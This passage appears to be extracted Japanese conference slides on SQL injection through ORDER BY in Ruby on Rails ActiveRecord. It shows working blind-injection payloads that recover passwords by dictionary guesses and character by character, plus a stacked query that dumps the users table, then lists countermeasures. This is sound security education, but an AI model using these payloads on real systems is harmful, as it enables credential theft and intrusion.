HASH Consulting Corp. 20 wasbook=# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd userid=ockeghemをセパレータに
21.
デモを見やすくするために書籍タイトルにユーザ名を併記 Copyright © 2010-2014
HASH Consulting Corp. 21 ※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません 辞書攻撃で発 見したユーザ
22.
パスワードに対する辞書攻撃(1) Copyright © 2010-2014
HASH Consulting Corp. 22 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='abcd' then 0 -- passwd='abcd' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaのパスワードがabcdと判明
23.
パスワードに対する辞書攻撃(2) Copyright © 2010-2014
HASH Consulting Corp. 23 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='bcda' then 0 -- passwd='bcda' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに passwd=bcda は存在しないことが判明
24.
一文字ずつ試行するブラインドSQL インジェクション Copyright © 2010-2014
HASH Consulting Corp. 24
25.
パスワードの1文字目が a の利用者を探す Copyright
© 2010-2014 HASH Consulting Corp. 25 select id, title from books order by (select case when userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaとyamadaのパスワード 1文字目がaと判明
26.
1回の試行で1種類の文字チェック しかできないのは不効率だが… Copyright © 2010-2014
HASH Consulting Corp. 26
27.
セパレータを増やせば、一度に多く の文字をチェック可能 Copyright © 2010-2014
HASH Consulting Corp. 27
28.
aaaa, bbbb, cccc,
ddddの4ユーザを登録 Copyright © 2010-2014 HASH Consulting Corp. 28 (select case userid when 'aaaa' then 0 when 'bbbb' then 1 when 'cccc' then 2 when 'dddd' then 3 else 4 end from users where books.id=users.id)
29.
パスワードの一文字目をまとめてクエリ Copyright © 2010-2014
HASH Consulting Corp. 29 (SELECT CASE WHEN userid='aaaa' THEN 1 WHEN userid='bbbb' THEN 3 WHEN userid='cccc' THEN 5 WHEN userid='dddd' THEN 7 WHEN SUBSTR(passwd,1,1)='a' THEN 0 WHEN SUBSTR(passwd,1,1)='b' THEN 2 WHEN SUBSTR(passwd,1,1)='c' THEN 4 WHEN SUBSTR(passwd,1,1)='d' THEN 6 ELSE 99 END FROM users WHERE books.id=users.id) ※ 簡単化のためパスワードは a~d 4文字で構成とする
30.
パスワードの1文字目を探索 Copyright © 2010-2014
HASH Consulting Corp. 30 tanakaとyamadaのパスワード 1文字目がaと判明 takahashiのパスワード1文字目がcと判明 ockeghemのパスワード1文字目がdと判明 tanaka a*** yamada a*** takahashi c*** ockeghem d***
31.
パスワードの2文字目を探索 Copyright © 2010-2014
HASH Consulting Corp. 31 takahashiのパスワード2文字目がdと判明 ockeghemのパスワード2文字目がcと判明 tanaka ab** yamada aa** takahashi cd** ockeghem dc** tanakaのパスワード2文字目がbと判明 yamadaのパスワード2文字目がaと判明
32.
パスワードの3文字目を探索 Copyright © 2010-2014
HASH Consulting Corp. 32 tanakaとtakahashiのパスワード 3文字目がcと判明 yamadaのパスワード3文字目がaと判明 ockeghemのパスワード3文字目がbと判明 tanaka abc* yamada aaa* takahashi cdc* ockeghem dcb*
33.
パスワードの4文字目を探索 Copyright © 2010-2014
HASH Consulting Corp. 33 ockeghemとyamadaのパスワ ード1文字目がaと判明 tanaka abcd yamada aaaa takahashi cdcd ockeghem dcba tamalaとtakahashiのパスワー ド4文字目が d と判明
34.
もっと簡単な方法はないのか? Copyright © 2010-2014
HASH Consulting Corp. 34
35.
UNION(not ONION) は? Copyright
© 2010-2014 HASH Consulting Corp. 35
36.
ORDER BYの後にUNIONは使えない Copyright ©
2010-2014 HASH Consulting Corp. 36 PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION SELECT ... ^ : SELECT "books".* FROM "books" ORDER BY title UNION SELECT * FROM users -- asc
37.
PostgreSQLの場合、複文は使え ないか? Copyright © 2010-2014
HASH Consulting Corp. 37
38.
やはりエラーになる Copyright © 2010-2014
HASH Consulting Corp. 38 missing attribute: isbn SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
39.
しかし、missing attribute: isbn なら、別名として与えてやれば… Copyright
© 2010-2014 HASH Consulting Corp. 39
40.
ユーザー情報の窃取に成功 Copyright © 2010-2014
HASH Consulting Corp. 40 SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc
41.
対策 Copyright © 2010-2014
HASH Consulting Corp. 42
42.
表名、列名によるSQLインジェクションの対策 • 以下のいずれか、あるいは複数を実施 • 列名をクォート&エスケープする •
列名が許可されたものかどうかを検査する – いわゆるホワイトリスト検査 • 列を数字で指定して、内部で列名に変換する Copyright © 2010-2014 HASH Consulting Corp. 43
43.
列名をシンボルに変換すると、クォート&エスケープされるが Copyright © 2010-2014
HASH Consulting Corp. 44 SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC def index p = params[:order].to_sym @books = p ? Book.order(p) : Book.all end
44.
ユーザ入力を無条件にシンボルに変換するのはまずい • シンボルはGCで回収されない • 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら れるとメモリを過度に消費してしまう •
類似の例にCVE-2014-0082がある • 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される) Copyright © 2010-2014 HASH Consulting Corp. 45 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
45.
まとめ • Ruby on
RailsのActiveRecordの使い方に起因するSQLイン ジェクションを紹介 • ActiveRecordのメソッドには、与えられた文字列が「そのま ま」SQL文に展開されるものがある • 値パラメータについてはプレースホルダを活用 • 表名、列名、キーワードについては以下のいずれかを行う – 表名、列名、キーワードのホワイトリスト検査 – 外部では番号で指定して、内部で表名、列名、キーワード等に変換 する • SQL識別子のクォート&エスケープをさせる目的で、Rubyの 識別子を積極的に活用することの是非については有識者の ご意見をお伺いしたいです Copyright © 2010-2014 HASH Consulting Corp. 46